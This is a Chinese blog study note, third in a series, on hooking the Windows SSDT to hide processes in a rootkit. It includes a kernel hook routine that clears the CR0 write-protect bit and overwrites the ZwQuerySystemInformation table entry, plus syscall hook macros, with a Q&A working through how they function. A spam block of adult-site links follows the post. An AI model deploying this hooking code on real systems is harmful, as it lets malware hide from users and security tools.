• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (三)

            Posted on 2009-10-25 16:06 S.l.e!ep.¢% 閱讀(489) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit
            前:HOOK SSDT Hide Process (二)

            [新資料] SSDT HIDE Process
            [舊資料] HOOK SSDT實(shí)現(xiàn)進(jìn)程隱藏

            舊資料中的 Hook 是如此實(shí)現(xiàn)的

            1. VOID Hook()
            2. {
            3. ? ? ? ? DbgPrint("Entry Hook()\n");
            4. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
            5. ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????//的ID號(hào)是0xADh
            6. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
            7. ? ? ? ? //保存原來函數(shù)的地址
            8. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
            9. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
            10. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);
            11. ? ?//取消內(nèi)存寫保護(hù)
            12. ??_asm
            13. ??{
            14. ? ? cli
            15. ???
            16. ? ?? ?mov??eax,cr0??
            17. ? ?? ?and??eax,not 10000h
            18. ? ?? ?mov??cr0,eax
            19. ??????
            20. ??}
            21. ???
            22. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
            23. ??
            24. ??//還原內(nèi)存寫保護(hù)
            25. ??_asm
            26. ??{??
            27. ??
            28. ? ? mov??eax,cr0
            29. ? ?? ?or? ?eax,10000h
            30. ? ?? ?mov??cr0,eax
            31. ? ?? ?sti
            32. ??
            33. ??
            34. ??}
            35. }

            OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;
            //用windbg反匯編查到zwquerysysteminformationde的ID號(hào)是0xADh
            1. zwquerysysteminformationde的ID號(hào)是0xADh?? 這個(gè)ID是如何得來的?
            A: 用 Windbg? u 顯示 zwquerysysteminformation 所在地址都可以看到, 見Q3

            Q2. 4表示指針的大小?如果在 64機(jī)器上就應(yīng)該是 8 了?
            A:?? 是的,所以正規(guī)寫法應(yīng)該是
            #define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

            Q3. 另一種寫法是
            #define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
            // save old system call locations
            OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

            *(PULONG) 是地址的偏移類型, 相關(guān)于 *4, 但 PUCHAR 又是什么? _function+1 又表示什么?
            "將_Function+1即可確定ServiceID的位置,即在系統(tǒng)服務(wù)調(diào)度表中的入口地址"

            A:四個(gè)有用的宏
            SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導(dǎo)出函數(shù),以Zw*開頭函數(shù)的地址,這個(gè)函數(shù)的返回值就是Nt*函數(shù),Nt*函數(shù)的地址就在SSDT中
            SYSCALL_INDEX macro:獲得Zw*函數(shù)的地址并返回與之通信的函數(shù)在SSDT中的索引。
            這兩個(gè)宏之所以能工作,是因?yàn)樗械腪w*函數(shù)都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
            例:
            00401023????? A1 94214000??????? mov???? eax, dword ptr [402194]
            A1 表示?? ?mov eax
            94214000 表示ULONG
            所有 Zw* 開頭的函數(shù)最開始的第一條指令是? MOV eax, ULONG, 這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
            _function 是函數(shù)地址, (PUCHAR)_function+1?? 指向 ULONG, 再把它轉(zhuǎn)成 PULONG? ,就可以拿到 系統(tǒng)調(diào)用函數(shù)在SSDT中的索引 (Nt*函數(shù)的地址)


            HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數(shù)的地址,取得他的索引,自動(dòng)的交換SSDT中索引所對(duì)應(yīng)的函數(shù)地址和我們hook函數(shù)的地址。
            這四個(gè)宏具體是:
            #define SYSTEMSERVICE(_func)?KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
            ??
            #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
            ??
            #define HOOK_SYSCALL(_Function, _Hook, _Orig )??\
            _Orig = (PVOID) InterlockedExchange( (PLONG)???\
            &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
            ??
            #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )??\
            InterlockedExchange((PLONG)?\
            &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

            Hook SSDT 其實(shí)就是把 SSDT 里面的函數(shù)地址替換成自己的處理函數(shù), 一般在 DriverEntry() 就HOOK了
            在 DriverUnload() 里再把 SSDT 里面的函數(shù)地址還原?

            在寫 KeServiceDescriptorTable.ServiceTableBase? 時(shí)有一個(gè)重要步驟
            需要去掉'內(nèi)存保護(hù)'才可以寫入
            Q:為何這個(gè)變量會(huì)受到'內(nèi)存保護(hù)'?? 受'內(nèi)存保護(hù)'的意義是?既然有辦法去掉'內(nèi)存保護(hù)',那為何還要保護(hù)呢?

            目前所知,去掉'內(nèi)存保護(hù)'有兩種方法
            1. 設(shè)置 CR0 寄存器的標(biāo)志位
            2. MDL

            Q1: 這兩種方法的區(qū)別是什么?
            Q2: MDL 的原理又是什么?

            色综合久久中文字幕综合网| 午夜精品久久久久久影视777| 久久99九九国产免费看小说| 一本久久a久久精品综合夜夜| 久久久久久午夜成人影院| 亚洲伊人久久成综合人影院| 9999国产精品欧美久久久久久| 久久精品国内一区二区三区| 伊人久久无码精品中文字幕| 国产综合免费精品久久久| 91精品观看91久久久久久| 久久精品国产69国产精品亚洲| 99久久精品日本一区二区免费| 久久超碰97人人做人人爱| 粉嫩小泬无遮挡久久久久久| 久久国产精品久久久| 青青草原综合久久| 99久久精品国产一区二区三区| 国产成人精品久久一区二区三区av| 日本精品久久久久中文字幕8 | 久久影院午夜理论片无码 | 一本久久综合亚洲鲁鲁五月天亚洲欧美一区二区 | 久久久久免费精品国产| 久久精品亚洲AV久久久无码| 成人午夜精品无码区久久| 色婷婷综合久久久中文字幕| 国产美女久久精品香蕉69| 久久精品国产免费| 久久精品国产欧美日韩| 人妻精品久久久久中文字幕 | 久久精品中文字幕一区| 新狼窝色AV性久久久久久| 国产成人久久激情91| 国产精品九九久久免费视频 | 久久国产精品一区| 国产精品久久久久蜜芽| 久久久久人妻精品一区二区三区 | 国内精品伊人久久久久AV影院| 日本久久久精品中文字幕| 精品久久久久久无码免费| 久久综合亚洲色HEZYO社区|